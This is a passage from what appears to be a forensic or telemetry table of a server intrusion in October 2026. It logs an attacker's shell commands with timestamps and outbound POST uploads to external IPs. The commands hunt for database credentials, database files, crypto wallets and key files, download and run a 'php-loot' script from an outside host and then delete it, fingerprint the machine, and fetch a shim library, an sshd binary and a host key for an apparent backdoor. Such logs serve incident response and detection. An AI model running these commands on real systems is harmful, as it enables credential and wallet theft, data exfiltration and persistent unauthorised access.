echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c |
| 2026-10-31 01:28:17 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | dropbear -> dropbear | bash -c ps -eo pid,etime,args|grep collect|grep -v grep; ls /tmp/<REDACTED>-20261031 | wc -l; ls /tmp/<REDACTED>-20261031 ; ps -eo pid,etime,args ; grep collect ; grep -v grep ; ls /tmp/<REDACTED>-20261031 ; wc -l ; ls /tmp/<REDACTED>-20261031 |
| 2026-10-31 01:28:17 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for |
| 2026-10-31 01:28:17 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -size -256k -print |
| 2026-10-31 01:28:17 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -printf %s\t%TY-%Tm-%Td\t%p\n |
| 2026-10-31 01:28:22 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /var/lib /var/www /srv /opt /home -xdev -type f ( -name *.sqlite -o -name *.sqlite3 -o -name *.db -o -name *.sql -o -name *.dump -o -name dump.rdb -o -name *.bson ) -size -50M -printf %s\t%p\n |
| 2026-10-31 01:28:22 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" |
| 2026-10-31 01:28:22 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -na |
| 2026-10-31 01:28:22 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron |
| 2026-10-31 01:28:22 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /etc/supervisor /etc/supervisor/conf.d |
| 2026-10-31 01:28:22 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /etc/crontab |
| 2026-10-31 01:28:27 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | grep -RInE -I -m 3 mysql://|postgres|DATABASE_URL|DB_HOST|DB_DATABASE|DB_USERNAME|DB_PASSWORD|redis://|mongodb:// /var/www /srv /opt /home /etc |
| 2026-10-31 01:28:27 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find /root /home /var/www /srv /opt /tmp -xdev -type f ( -name wallet.dat -o -name *.wallet -o -name UTC--* -o -name *.kdbx -o -iname *keystore* -o -iname *mnemonic* -o -iname *seed*.txt -o -name *.key ) -printf %s\t%p\n |
| 2026-10-31 01:28:27 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sor |
| 2026-10-31 01:28:27 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /var/lib/mysql /var/lib/postgresql /var/lib/redis /var/lib/mongodb |
| 2026-10-31 01:28:27 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea |
| 2026-10-31 01:28:37 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | php /tmp/.php-loot.390.php /tmp/<REDACTED>-20261031/php |
| 2026-10-31 01:28:37 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 120 sh -c php '/tmp/.php-loot.390.php' '/tmp/<REDACTED>-20261031/php' |
| 2026-10-31 01:28:37 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c php '/tmp/.php-loot.390.php' '/tmp/<REDACTED>-20261031/php' ; sh -c php '/tmp/.php-loot.390.php' '/tmp/<REDACTED>-20261031/php' ; sh -c php '/tmp/.php-loot.390.php' '/tmp/<REDACTED>-20261031/php' ; sh -c php '/tmp/.php-loot.390.php' '/tmp/<REDACTED>-20261031/php' |
| 2026-10-31 01:28:37 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 20 -o /tmp/.php-loot.390.php http://206.245.153.56:8088/tools/php-loot.php |
| 2026-10-31 01:28:49 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | rm -f /tmp/.php-loot.390.php |
| 2026-10-31 01:28:49 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ps -e |
| 2026-10-31 01:28:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | uname -r |
| 2026-10-31 01:28:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | uname -m |
| 2026-10-31 01:28:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | uname -a |
| 2026-10-31 01:28:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | sed -n s/^PRETTY_NAME=//p /etc/os-release |
| 2026-10-31 01:28:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | id -Gn |
| 2026-10-31 01:28:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | id -u |
| 2026-10-31 01:28:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | id -g |
| 2026-10-31 01:28:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | id -un |
| 2026-10-31 01:28:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | hostname -I |
| 2026-10-31 01:28:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | hostname -I |
| 2026-10-31 01:28:57 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | nproc |
| 2026-10-31 01:28:57 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | awk -F: /cpu MHz/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo |
| 2026-10-31 01:28:57 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | grep -c ^processor /proc/cpuinfo |
| 2026-10-31 01:28:57 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | awk -F: /model name/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo |
| 2026-10-31 01:28:57 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | sed -n s/^VERSION_CODENAME=//p /etc/os-release |
| 2026-10-31 01:28:57 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | sed -n s/^VERSION_ID=//p /etc/os-release |
| 2026-10-31 01:28:57 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | sed -n s/^ID=//p /etc/os-release |
| 2026-10-31 01:29:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | df -kP / |
| 2026-10-31 01:29:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | df -kP / |
| 2026-10-31 01:29:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | df -P / |
| 2026-10-31 01:29:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | awk /^MemAvailable:/{print $2} /proc/meminfo |
| 2026-10-31 01:29:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | awk /^SwapTotal:/{print $2} /proc/meminfo |
| 2026-10-31 01:29:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | awk /^SwapFree:/{print $2} /proc/meminfo |
| 2026-10-31 01:29:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | awk /^MemFree:/{print $2} /proc/meminfo |
| 2026-10-31 01:29:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | awk -F: /cache size/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo |
| 2026-10-31 01:29:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | awk /^MemTotal:/{print $2} /proc/meminfo |
| 2026-10-31 01:29:04 | Not attributed | Not attributed | bash -> bash | curl -sS -o .j/shim.so http://206.245.153.56:8088/j485/shim.so |
| 2026-10-31 01:29:04 | Not attributed | Not attributed | bash -> bash | chmod 755 .j/sshd .j/shim.so |
| 2026-10-31 01:29:04 | Not attributed | Not attributed | bash -> bash | curl -sS -o .j/hostkey http://206.245.153.56:8088/j485/hostkey_j485 |
| 2026-10-31 01:29:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ps -e --no-headers |
| 2026-10-31 01:29:11 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find . -type f -printf %s\t%TY-%Tm-%Td %TH:%TM\t%p\n |
